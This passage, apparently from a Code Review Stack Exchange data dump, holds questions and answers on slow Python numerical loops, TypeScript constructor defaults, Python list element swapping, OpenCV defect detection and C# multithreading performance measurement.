"body": "`min()` and `index()` are likely \"optimized\" by executing those loops in the interpreter implementation (written in C for the reference implementation), instead of running them as Python code. Python is known for its [notoriously slow loops](https://www.youtube.com/watch?v=zQeYx87mfyw) (I'm speaking in the context of numerical computations here)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:21:31.110",
"Id": "463805",
"Score": "0",
"body": "@AlexV Yes I noticed that they were much faster than writing a simple min function myself that is why I used them instead thanks for the clarification as to why they are faster"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:31:46.903",
"Id": "463812",
"Score": "0",
"body": "@Thomas-Weller I actually meant instructions not processes in reference to the second sort there is a lot more going on yet it takes about the same time. Sorry for the confusion on that I corrected my question."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T10:34:46.443",
"Id": "463834",
"Score": "0",
"body": "@MatthewLozoya: I've added an explanation for the amount of instructions."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T07:19:40.010",
"Id": "236622",
"ParentId": "236621",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "236622",
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T06:45:15.937",
"Id": "236621",
"Score": "1",
"Tags": [
"python",
"performance",
"algorithm",
"python-3.x",
"sorting"
],
"Title": "Simple sorting algorithm speed"
}
|
236621
|
<p>I'm new to Python and made this Sequential Learning function but it runs slowly. Do you know why this runs slowly and how to improve it?</p>
<pre><code>def Seqlearn(y, dfhessian, gamma, eps, c, itermaxsvr):
# = − (α_i^* − a_i) * Rij
d=len(dfhessian.index)
# d=391
a = [[0] * d]
a_s = [[0] * d]
la = [[0] * d]
la_s = [[0] * d]
E = np.array([], dtype=np.float64).reshape(0,d)
Etemp = [[0] * d]
da_s = np.array([], dtype=np.float64).reshape(0,d)
da = np.array([], dtype=np.float64).reshape(0,d)
dat_s = [[0] * d]
dat = [[0] * d]
tempas = [[0] * d]
tempa = [[0] * d]
# itermax=1000, c=200, eps=0.0013, gamma=0.004
# dfhesian is dataframe with 391 columns and 391 row
# y is dataframe/series with 391 row in 1 column
for i in range(itermaxsvr):
# Ei= y - (a_s - a) * dfhessian[i]
for j in range(d):
Rijhelp=0
for k in range(d):
Rijhelp = Rijhelp + ((a_s[i][k] - a[i][k])*(dfhessian.iloc[j][k]))
Etemp[0][j]= y.iloc[j] - Rijhelp
E=np.vstack([E, Etemp])
# Min(Max(gamma*(E-epsilon), -(as)), (C-as))
# Min(Max(gamma*(-E-epsilon), -(a)), (C-a))
for l in range(d):
dat_s[0][l]=min(max(gamma*(E[i][l] - eps), -1*(a_s[i][l])), (c - a_s[i][l]))
dat[0][l]=min(max(gamma*(-(E[i][l]) - eps), -1*(a[i][l])), (c - a[i][l]))
tempas[0][l]= a_s[i][l] + dat_s[0][l]
tempa[0][l]= a[i][l] + dat[0][l]
da_s=np.vstack([da_s, dat_s])
da=np.vstack([da, dat])
a=np.vstack([a, tempa])
a_s=np.vstack([a_s, tempas])
la=tempa
la_s=tempas
# (|da|<eps and |das|<eps ) or max iterasi
dat_abs=max([abs(xdat) for xdat in dat[0]])
dat_s_abs=max([abs(xdats) for xdats in dat_s[0]])
if (dat_abs < eps) and (dat_s_abs < eps):
break
return la, la_s
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:31:32.663",
"Id": "463811",
"Score": "0",
"body": "Welcome to Code Review! Please describe what you are trying to do in more detail. If possible also show an example how this code is supposed to be used. Also have a look at the Help Center guideline on [how to write a good question](/help/how-to-ask) in that regard."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T11:18:38.570",
"Id": "463837",
"Score": "0",
"body": "This code use for SVR that generate alpha (a) and alpha star (a*) based on training data. a and a* will use in prediction function of SVR. Based on thie equation:\n()=Σ(∗−)((,)+^2)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:06:20.633",
"Id": "463850",
"Score": "0",
"body": "This should be written directly in the question and not here as a comment."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:15:14.803",
"Id": "236624",
"Score": "0",
"Tags": [
"python",
"performance",
"beginner",
"numpy",
"machine-learning"
],
"Title": "Sequential learning function running slowly"
}
|
236624
|
<p>I have a class with a various set of optional parameters when instantiated.
I would like to be sure that the user input ONLY the available parameters option, and also add a default value if nothing is passed.</p>
<p>I come with this</p>
<pre><code>export enum HexagoneType {
POINTY,
FLAT
}
export interface HexagoneOptions {
center?: Vector2;
size?: number;
color?: string;
type?: HexagoneType;
}
export default class Hexagone {
ctx: CanvasRenderingContext2D;
center: Vector2;
size: number;
color: string;
type: HexagoneType;
constructor(ctx: CanvasRenderingContext2D, options?: HexagoneOptions) {
this.ctx = ctx;
this.center = (options && options.center) ? options.center : new Vector2();
this.size = (options && options.size) ? options.size : 100;
this.color = (options && options.color) ? options.color : "red";
this.type = (options && options.type) ? options.type : HexagoneType.POINTY;
}
}
</code></pre>
<p>But is there something shorter ? </p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-17T16:11:50.870",
"Id": "508229",
"Score": "1",
"body": "We need to know *what the code is intended to achieve*. To help reviewers give you better answers, please add sufficient context to your question, including a title that summarises the *purpose* of the code. We want to know **why** much more than **how**. The more you tell us about [what your code is for](//meta.codereview.stackexchange.com/q/1226), the easier it will be for reviewers to help you. The title needs an [edit] to simply [**state the task**](//meta.codereview.stackexchange.com/q/2436), rather than your concerns about the code."
}
] |
[
{
"body": "<p>This is typical example of service locator anti pattern that should be refactored to builder pattern.</p>\n\n<pre><code>export class Hexagone {\n constructor(\n private ctx: CanvasRenderingContext2D,\n private center: Vector2,\n private size: number,\n private color: string,\n private type: HexagoneType\n ) {}\n}\n\nexport class HexagoneBuilder {\n public center?: Vector2;\n public size?: number;\n public color?: string;\n public type?: HexagoneType;\n\n constructor(private ctx: CanvasRenderingContext2D) {}\n\n create() {\n return new Hexagone(\n this.ctx,\n this.center ?: new Vector2(),\n this.size ?: 100,\n this.color ?: \"red\",\n this.type ?: HexagonType.POINTY\n )\n }\n}\n</code></pre>\n\n<p>Sorry if i made some syntax errors, I dont work with ts on daily basis, but you should get the idea...</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T10:17:49.160",
"Id": "236630",
"ParentId": "236626",
"Score": "1"
}
},
{
"body": "<p>How about this...</p>\n<pre><code>export enum HexagoneType {\n POINTY,\n FLAT\n}\n\n\ntype Vector2 = readonly [number, number]\n\nexport interface HexagoneOptions {\n center: Vector2;\n size: number;\n color: string;\n type: HexagoneType;\n}\n\nexport default class Hexagone {\n ctx: CanvasRenderingContext2D;\n center: Vector2;\n size: number;\n color: string;\n type: HexagoneType;\n\n constructor(ctx: CanvasRenderingContext2D, {\n center = [0,0],\n size=100,\n color="red",\n type=HexagoneType.POINTY\n }: HexagoneOptions) {\n this.ctx = ctx;\n this.center = center;\n this.size = size;\n this.color = color;\n this.type = type;\n }\n}\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-16T22:13:46.550",
"Id": "257272",
"ParentId": "236626",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T08:49:33.337",
"Id": "236626",
"Score": "0",
"Tags": [
"typescript"
],
"Title": "Is there a better way to assign constructor parameter in Typescript?"
}
|
236626
|
<p>Does this code seems good or it can be improve (without any library)?</p>
<h1>Elements swapping of a list with its neighboring element</h1>
<pre><code>alist = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]
lenofalist = len(alist)
index = 0
temp = 0
last_element = 0
if lenofalist % 2 != 0:
last_element = alist.pop()
lenofalist -= 1
while index < lenofalist:
temp = alist[index+1]
alist[index+1] = alist[index]
alist[index] = temp
index += 2
alist.append(last_element)
else:
while index < lenofalist:
temp = alist[index+1]
alist[index+1] = alist[index]
alist[index] = temp
index += 2
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:54:16.860",
"Id": "463831",
"Score": "0",
"body": "check your code on a list of odd length: `[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]\n`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T10:20:30.197",
"Id": "463833",
"Score": "0",
"body": "@RomanPerekhrest Please check, is it better now?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T11:19:22.973",
"Id": "463838",
"Score": "0",
"body": "`without any library` how about python builtins like `l[1::2], l[:-1:2] = l[:-1:2], l[1::2]`?"
}
] |
[
{
"body": "<p>Your code, while it works, has a lot of room for improvement.</p>\n\n<h1>Naming conventions</h1>\n\n<p>Python has a best practice guide for style and naming conventions called <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">PEP 8</a>. Your variable names generally follow the lines of this guide, but <code>lenofalist</code> should be called <code>len_of_alist</code>. </p>\n\n<h1>Duplicate code</h1>\n\n<p>Your code has a lot of duplicate code. 5 lines out of 19 are copied and pasted, that's over 25%. It lowers readability and makes any change to your code harder, as it may have to be changed twice.</p>\n\n<p>In your case, the <code>if ... else</code> construct can be avoided altogether by exiting the loop before the last element is reach if the length of the list is odd.</p>\n\n<h1>Use <code>for</code> loops</h1>\n\n<p>You use <code>while</code> loops. It works, but is not the best fit for your case. You have to initialize an index and increment it manually, which makes the code longer and more complicated than it needs to be. Also, using <code>i</code> instead of <code>index</code> for a loop counter is generally accepted, as it is very common.</p>\n\n<pre><code>for i in range(0, len_of_alist, 2):\n # your code here\n</code></pre>\n\n<p>is functionally the same as your while loops, while being more concise and readable.</p>\n\n<h1>Swapping elements</h1>\n\n<p>In Python, you can swap the values of two variables using the following construct:</p>\n\n<pre><code>a, b = b, a\n</code></pre>\n\n<p>Your way of using a temporary variable is more language agnostic, but the Python way is much cleaner.</p>\n\n<h1>Make your code a function</h1>\n\n<p>Let's imagine you want to swap neighboring elements of a list as part of a larger project. It would be far more convenient and clear having this code in a function and calling it where you need it instead of inserting your code snippet where needed.</p>\n\n<p>If you are using Python 3.5 or higher, you can use a type hint to make sure your function is indeed working with a list.</p>\n\n<h1>Putting it all together</h1>\n\n<p>Here is my take on improving your code:</p>\n\n<pre><code>def swap_neighbors(alist: list):\n for i in range(0, len(alist)-1, 2):\n alist[i], alist[i + 1] = alist[i + 1], alist[i]\n\n\nmy_list = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]\nswap_neighbors(my_list)\n</code></pre>\n\n<p>As a side effect, there are no variables that need to be declared ahead, cleaning up the code even further.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T11:01:19.323",
"Id": "463835",
"Score": "0",
"body": "Well done, just what I thought after reading the title."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T10:55:44.390",
"Id": "236633",
"ParentId": "236627",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "236633",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:32:33.397",
"Id": "236627",
"Score": "1",
"Tags": [
"python"
],
"Title": "Swapping of element with its neighboring element (Python)"
}
|
236627
|
<p>I have been trying to find defects (brown/copper parts) on this sample using PyQt, OpenCV and Python:</p>
<p><a href="https://i.stack.imgur.com/f9rZ6.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/f9rZ6.png" alt="Sample with copper parts"></a></p>
<p>And I can find defects, too. My problem is, I have nobody to ask, get feedback etc. I need some feedback about my code. Of course, I don't want someone to review my code line-by-line, but even a simple reviewing would be good, because I am very new to Python. I will using this on laptop</p>
<h2><code>view.ui</code> <a href="https://easyupload.io/jb0maw" rel="nofollow noreferrer">file</a></h2>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
<class>Form</class>
<widget class="QWidget" name="Form">
<property name="windowModality">
<enum>Qt::NonModal</enum>
</property>
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>751</width>
<height>600</height>
</rect>
</property>
<property name="windowTitle">
<string>Form</string>
</property>
<widget class="QLabel" name="label">
<property name="geometry">
<rect>
<x>30</x>
<y>40</y>
<width>320</width>
<height>240</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Fixed" vsizetype="Fixed">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="frameShape">
<enum>QFrame::Box</enum>
</property>
<property name="text">
<string/>
</property>
<property name="scaledContents">
<bool>true</bool>
</property>
</widget>
<widget class="QLabel" name="label_2">
<property name="geometry">
<rect>
<x>420</x>
<y>90</y>
<width>70</width>
<height>100</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Fixed" vsizetype="Fixed">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="frameShape">
<enum>QFrame::Box</enum>
</property>
<property name="text">
<string/>
</property>
<property name="scaledContents">
<bool>true</bool>
</property>
</widget>
<widget class="QPushButton" name="buton2">
<property name="geometry">
<rect>
<x>340</x>
<y>10</y>
<width>75</width>
<height>23</height>
</rect>
</property>
<property name="text">
<string>Find Defects</string>
</property>
</widget>
<widget class="QLabel" name="label_4">
<property name="geometry">
<rect>
<x>380</x>
<y>240</y>
<width>171</width>
<height>16</height>
</rect>
</property>
<property name="text">
<string>Size of defects on the lower part</string>
</property>
</widget>
<widget class="QScrollArea" name="scrollArea">
<property name="geometry">
<rect>
<x>380</x>
<y>280</y>
<width>161</width>
<height>80</height>
</rect>
</property>
<property name="widgetResizable">
<bool>true</bool>
</property>
<widget class="QWidget" name="scrollAreaWidgetContents">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>159</width>
<height>78</height>
</rect>
</property>
</widget>
</widget>
<widget class="QTextEdit" name="textEdit">
<property name="geometry">
<rect>
<x>400</x>
<y>420</y>
<width>104</width>
<height>71</height>
</rect>
</property>
</widget>
<widget class="QLabel" name="label_3">
<property name="geometry">
<rect>
<x>620</x>
<y>90</y>
<width>70</width>
<height>100</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Fixed" vsizetype="Fixed">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="frameShape">
<enum>QFrame::Box</enum>
</property>
<property name="text">
<string/>
</property>
<property name="scaledContents">
<bool>true</bool>
</property>
</widget>
<widget class="QLabel" name="label_5">
<property name="geometry">
<rect>
<x>580</x>
<y>240</y>
<width>171</width>
<height>16</height>
</rect>
</property>
<property name="text">
<string>Size of defects on the upper part</string>
</property>
</widget>
<widget class="QTextEdit" name="textEdit_2">
<property name="geometry">
<rect>
<x>600</x>
<y>420</y>
<width>104</width>
<height>71</height>
</rect>
</property>
</widget>
<widget class="QScrollArea" name="scrollArea_2">
<property name="geometry">
<rect>
<x>580</x>
<y>280</y>
<width>161</width>
<height>80</height>
</rect>
</property>
<property name="widgetResizable">
<bool>true</bool>
</property>
<widget class="QWidget" name="scrollAreaWidgetContents_2">
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>159</width>
<height>78</height>
</rect>
</property>
</widget>
</widget>
</widget>
<resources/>
<connections/>
</ui>
</code></pre>
<hr>
<h2><code>main.py</code></h2>
<pre><code>from PyQt5.QtWidgets import QApplication
from view import loadUi_example
from model import Camera
if __name__ == '__main__':
camera = Camera(0)
app = QApplication([])
start_window = loadUi_example(camera)
start_window.show()
app.exit(app.exec_())
</code></pre>
<h2><code>view.py</code></h2>
<pre><code>from PyQt5.uic import loadUi
from PyQt5 import QtGui
from PyQt5.QtCore import pyqtSlot
from PyQt5.QtCore import QTimer
from PyQt5.QtWidgets import QMainWindow
from PyQt5.QtGui import QPixmap, QImage
class loadUi_example(QMainWindow):
def __init__(self, cam_num):
super().__init__()
loadUi("view.ui", self)
self.cam_num = cam_num
self.scrollArea.setWidget(self.textEdit) #size of defects will be shown in scrollArea
self.scrollArea_2.setWidget(self.textEdit_2)
self.timer = QTimer()
self.timer.timeout.connect(self.readNextFrame)
self.timer.start(1000 / 24) #24 fps
def readNextFrame(self):
self.frame = self.cam_num.read()
@pyqtSlot()
def on_buton2_clicked(self):
if self.frame is not None:
image = QImage(self.frame, self.frame.shape[1], self.frame.shape[0],
QImage.Format_RGB888) # The image is stored using a 24-bit RGB format (8-8-8).
self.pixmap = QPixmap.fromImage(image)
self.label.setPixmap(self.pixmap)
lower_sample,upper_sample = self.cam_num.find_sample()
lowerPartDefects,the_list = self.cam_num.find_defects(lower_sample)
qImg = self.fit_image(lowerPartDefects)
self.label_2.setPixmap(QtGui.QPixmap.fromImage(qImg))
self.list_defects(the_list)
self.textEdit.setText(self.line)
upperPartDefects, the_list = self.cam_num.find_defects(upper_sample)
qImg = self.fit_image(upperPartDefects)
self.label_3.setPixmap(QtGui.QPixmap.fromImage(qImg))
self.list_defects(the_list)
self.textEdit_2.setText(self.line)
def list_defects(self,the_list):
self.line = ""
i = 1
for x in the_list:
self.line += "Size of defect %d = %d\n" % (i, x)
i = i + 1
return self.line
def fit_image(self,image):
h, w, ch = image.shape
bytesPerLine = ch * w
qImg = QtGui.QImage(image.data, w, h, bytesPerLine, QtGui.QImage.Format_RGB888)
return qImg
</code></pre>
<h2><code>model.py</code></h2>
<pre><code>import cv2
import numpy as np
class Camera:
def __init__(self, cam_num):
self.cap = None
def read(self):
self.frame = cv2.imread('input.png')
self.frame = cv2.cvtColor(self.frame, cv2.COLOR_BGR2RGB)
return self.frame
def find_sample(self):
hsv = cv2.cvtColor(self.frame, cv2.COLOR_RGB2HSV)
lower_limit = np.array([0, 0, 93])
upper_limit = np.array([255, 255, 255])
mask = cv2.inRange(hsv, lower_limit, upper_limit) #created a mask to remove background
mask_inv = cv2.bitwise_not(mask)
bg = cv2.bitwise_and(self.frame, self.frame, mask=mask)
fg = cv2.bitwise_and(self.frame, self.frame, mask=mask_inv)
gray = cv2.cvtColor(bg,cv2.COLOR_BGR2GRAY)
thresh = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY_INV)[1] #findContours function works better with binary images
kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (11, 11))
thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel) #remove noise
thresh = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)
cntrs = cv2.findContours(thresh, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)
cntrs = cntrs[0] if len(cntrs) == 2 else cntrs[1] #It accounts for the fact that different versions of OpenCV return different number of values for findContours().
area_thresh = 5000
cnt = 0
for c in cntrs:
area = cv2.contourArea(c)
if area > area_thresh:
cnt= cnt + 1
if cnt > 0:
rect = cv2.minAreaRect(c) #minArearect returns - ( center (x,y), (width, height), angle of rotation ).
box = cv2.boxPoints(rect) # The function finds the four vertices of a rotated rectangle.
box = np.int0(box) #converting numbers to integer
# crop image inside bounding box
centerX = rect[0][0]
centerY = rect[0][1]
W = rect[1][0] #width of contour
H = rect[1][1] #height of contour
Xs = [i[0] for i in box]
Ys = [i[1] for i in box]
x1 = min(Xs)
x2 = max(Xs)
y1 = min(Ys)
y2 = max(Ys)
angle = rect[2]
rotated = False
if angle < -45:
angle += 90
rotated = True
center = (round(centerX), round(centerY))
size = (int((x2 - x1)), int( (y2 - y1)))
M = cv2.getRotationMatrix2D((size[0] / 2, size[1] / 2), angle, 1.0)
#Calculates an affine matrix of 2D rotation.
cropped = cv2.getRectSubPix(self.frame, size, center) #crop contour
cropped = cv2.warpAffine(cropped, M, size) #rotate contour using 2D-RotationMatrix
croppedW = W if not rotated else H
croppedH = H if not rotated else W
self.image = cv2.getRectSubPix(
cropped, (int(croppedW ), int(croppedH )), (size[0] / 2, size[1] / 2)) #crop contour
if croppedH > croppedW:
if cnt == 1:
output1 = self.image[0:self.image.shape[0] - 70, 0: self.image.shape[1]]
if cnt == 2: # bitis
output2 = self.image[70:self.image.shape[0] , 0: self.image.shape[1]]
return output1,output2
def find_defects (self, sample):
self.the_list = []
gray = cv2.cvtColor(sample,
cv2.COLOR_BGR2GRAY)
mask = cv2.inRange(gray, 4, 43)
bg = cv2.bitwise_and(gray, gray, mask=mask)
thresh = cv2.threshold(bg, 4, 255, cv2.THRESH_BINARY)[1] #remove non-defect parts
kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3))
thresh = cv2.morphologyEx(thresh, cv2.MORPH_OPEN, kernel)
thresh = cv2.morphologyEx(thresh, cv2.MORPH_CLOSE, kernel)
cntrs = cv2.findContours(thresh, cv2.RETR_LIST, cv2.CHAIN_APPROX_SIMPLE)
# APPROX_SIMPLE compresses horizontal, vertical, and diagonal segments and leaves only their end points.
# For example, an up-right rectangular contour is encoded with 4 points.
cntrs = cntrs[0] if len(cntrs) == 2 else cntrs[1]
for c in cntrs:
area = cv2.contourArea(c)
area_thresh = 500
if area > area_thresh:
x, y, w, h = cv2.boundingRect(c)
cv2.rectangle(sample, (x, y), (x + w, y + h), (200, 0, 0), 2)
self.the_list.append(area)
return sample, self.the_list
def close_camera(self):
self.cap.release()
cv2.destroyAllWindows()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:48:02.027",
"Id": "463829",
"Score": "1",
"body": "That's not quite complete - I think you need the `view.ui` file for anybody to test the program."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T10:20:15.930",
"Id": "463832",
"Score": "1",
"body": "Welcome to Code Review. I've added the contents of the file to your question. For context, will you be running this on a laptop, PC, server or an embedded platform (like Raspberry)? OpenCV handles just a bit different on different platforms and this may be relevant for the resource usage as well."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T09:32:58.183",
"Id": "236628",
"Score": "3",
"Tags": [
"python",
"opencv",
"pyqt"
],
"Title": "Find product defects in a photograph"
}
|
236628
|
<p>I wrote some function to compare the duration taken for 1000 loops. Just wondering if the comparison is right? For the thread, I want to set to maximum 3 thread. Thread is <code>core</code>, right? <code>Task</code> took the longest time which seems not correct.</p>
<pre><code>using System;
using System.Diagnostics;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
namespace Multithreading_Loop
{
class Program
{
static void Main(string[] args)
{
//PrintLoopWithoutThread();
//PrintLoopWithThread();
//PrintLoopWithTaskWaitAll();
//PrintLoopWithParallelFor();
PrintLoopWithParallelForEach();
}
/// <summary>
/// Elapsed time: 4.13 seconds
/// </summary>
private static void PrintLoopWithoutThread()
{
Stopwatch sw = new Stopwatch();
sw.Start();
for (var x = 1; x <= 1000; x++)
{
Console.WriteLine($"Worker Id: {Thread.CurrentThread.ManagedThreadId}");
Console.WriteLine(x);
}
sw.Stop();
Console.WriteLine(sw.Elapsed.TotalSeconds);
}
/// <summary>
/// Elapsed time: 11.4 seconds
/// </summary>
private static void PrintLoopWithThread()
{
Stopwatch sw = new Stopwatch();
sw.Start();
Thread t1 = new Thread(PrintLoopWithoutThread);
t1.Start();
Thread t2 = new Thread(PrintLoopWithoutThread);
t2.Start();
Thread t3 = new Thread(PrintLoopWithoutThread);
t3.Start();
t1.Join();
t2.Join();
t3.Join();
sw.Stop();
Console.WriteLine(sw.Elapsed.TotalSeconds);
}
/// <summary>
/// Elapsed time: 15.5 seconds
/// </summary>
private static void PrintLoopWithTaskWaitAll()
{
Task task1 = Task.Factory.StartNew(() => PrintLoopWithoutThread());
Task task2 = Task.Factory.StartNew(() => PrintLoopWithoutThread());
Task task3 = Task.Factory.StartNew(() => PrintLoopWithoutThread());
Task.WaitAll(task1, task2, task3);
}
/// <summary>
/// Elapsed time: 2.2 seconds
/// </summary>
private static void PrintLoopWithParallelFor()
{
Stopwatch sw = new Stopwatch();
sw.Start();
Parallel.For(0, 999, x =>
{
Console.WriteLine($"WorkerId: {Task.CurrentId}. Number: " + x);
});
sw.Stop();
Console.WriteLine(sw.Elapsed.TotalSeconds);
}
/// <summary>
/// Elapsed time: 2.0 seconds
/// </summary>
private static void PrintLoopWithParallelForEach()
{
Stopwatch sw = new Stopwatch();
sw.Start();
var data = Enumerable.Range(0, 999);
// If computer has 4 cores and you want to use the maximum 4,
// then put MaxDegreeOfParallelism = 4
Parallel.ForEach(data, new ParallelOptions { MaxDegreeOfParallelism = 4 }, i =>
{
Console.WriteLine($"WorkerId: {Task.CurrentId}. Number: " + i);
});
sw.Stop();
Console.WriteLine(sw.Elapsed.TotalSeconds);
}
}
}
</code></pre>
|
[] |
[
{
"body": "<p>The <a href=\"https://docs.microsoft.com/en-us/dotnet/api/system.console?redirectedfrom=MSDN&view=netframework-4.8\" rel=\"nofollow noreferrer\">Console</a> uses synchronization:</p>\n\n<blockquote>\n <p>I/O operations that use these streams are synchronized, which means that multiple threads can read from, or write to, the streams.</p>\n</blockquote>\n\n<p>This synchronization ensures that all sentences are printed and nothing gets lost due to a data race.</p>\n\n<p>However, synchronization kills multithreading, because the threads will stop at the synchronization object. Don't use <code>Console.WriteLine()</code> for performance comparisons.</p>\n\n<p>Another thing to consider: at the moment you have 3 tasks, each printing 1000 lines. That way, scheduling cannot be done in small pieces. What you typically want is 3000 tasks, each printing 1 line. (read \"printing\" == \"doing work\").</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T11:55:00.783",
"Id": "463841",
"Score": "0",
"body": "Are you sure, we prefer to have so many Tasks ? Your statement applies to Parallesim, The partioner wants to have many items, to split it into (a few 4, 8, 10) tasks."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T12:13:12.887",
"Id": "463843",
"Score": "0",
"body": "@Holger: I've been processing images and using 1 task per line worked very well (that's easily 3000 tasks for modern digital camera pics). However, I would not have used one task per pixel (12.000.000 tasks). I have not tried, though."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T12:32:31.390",
"Id": "463845",
"Score": "1",
"body": "OK, I reread a little,and a Task has not much overhead, it's Items on a queue, you have only a small number of real threads working. So in cases where you do not have much to initialize to start your work, you can have 1000. But you still need a minimum amount of work to do. The call of the task should not be more expensive than the inner operation.So the best choice depends on the algorithm of your job. If every chunk of work is equal size, you very likely have no gain in having more than let'say 64 Tasks. But if one runs for 10ms and another for 100ms you could gain something by having more."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T10:48:15.347",
"Id": "236631",
"ParentId": "236629",
"Score": "1"
}
},
{
"body": "<p>You definitely should remove <em>all</em> <code>Console.WriteLine</code> operations that are executed during the measuring. You want to measure pure excecution time. </p>\n\n<p>Also thread creation/management costs time i.e. overhead. When using <code>Thread</code> (executing <code>PrintLoopWithThread</code>) you started the <code>Stopwatch</code> <em>BEFORE</em> you created the threads, which is correct, because you want to include the overhead of each parallelization method. But when creating <code>Task</code> instances (when executing <code>PrintLoopWithTaskWaitAll</code>), you started the <code>Stopwatch</code> <em>AFTER</em> their creation, which leads to ignore instantiation costs i.e. overhead. The results are therefore not comparable at all. </p>\n\n<p>Furthermore keep in mind that <code>Parallel.For</code> performs bad for small workloads:</p>\n\n<blockquote>\n <p>If the body of the loop performs only a small amount of work, you may find that you achieve better performance by partitioning the iterations into larger units of work. The reason for this is that there are two types of overhead that are introduced when processing a loop: the cost of managing worker threads and the cost of invoking a delegate method. In most situations, these costs are negligible, but with very small loop bodies they can be significant.</p>\n</blockquote>\n\n<p>Threading can slow down operations/applications significantly. For efficient multithreading it's not enough to use a fixed number of threads. You usually use smart partitioning/ workload balancing algorithms, thread pooling and metrics to find the pivot when multithreading becomes too expensive i.e. wrong choice. It's not simple to implement efficient multithreading or test efficiency. </p>\n\n<p>Most of the time tests are only relevant for a special scenario - the tested scenario. So, it'S best to test at least both expected ends: a worst-case sccenarion and a best-case scenario. You maybe will come to the conclusion to use dynamic workload based multithreading (like <code>PLINQ</code> does) and only use threads under certain conditions.<br>\nThe best is to test with the real code you are trying to parallelize. <em>999</em> iterations is way too few to have significant impact - at least when running no-ops. You want CPU bound heavy loads, but 999 \"empty\" iterations is just a blink in terms of CPU workload.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T13:45:37.370",
"Id": "463854",
"Score": "0",
"body": "a) \"110% sure\", really? OP's code runs on 9 different threads on my machine b) What kind of \"internal optimizations\" do you think can happen in a Parallel.For?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T14:10:05.010",
"Id": "463860",
"Score": "0",
"body": "Yes you are alright. I was mixing it up with PLINQ, which analyses the query to decide whether to use parallelization or not. But nevertheless does a `Parallel.For` with only a small workload perform bad. I will fix my answer. Thank you."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T12:26:22.697",
"Id": "236642",
"ParentId": "236629",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "236642",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-04T10:17:02.733",
"Id": "236629",
"Score": "0",
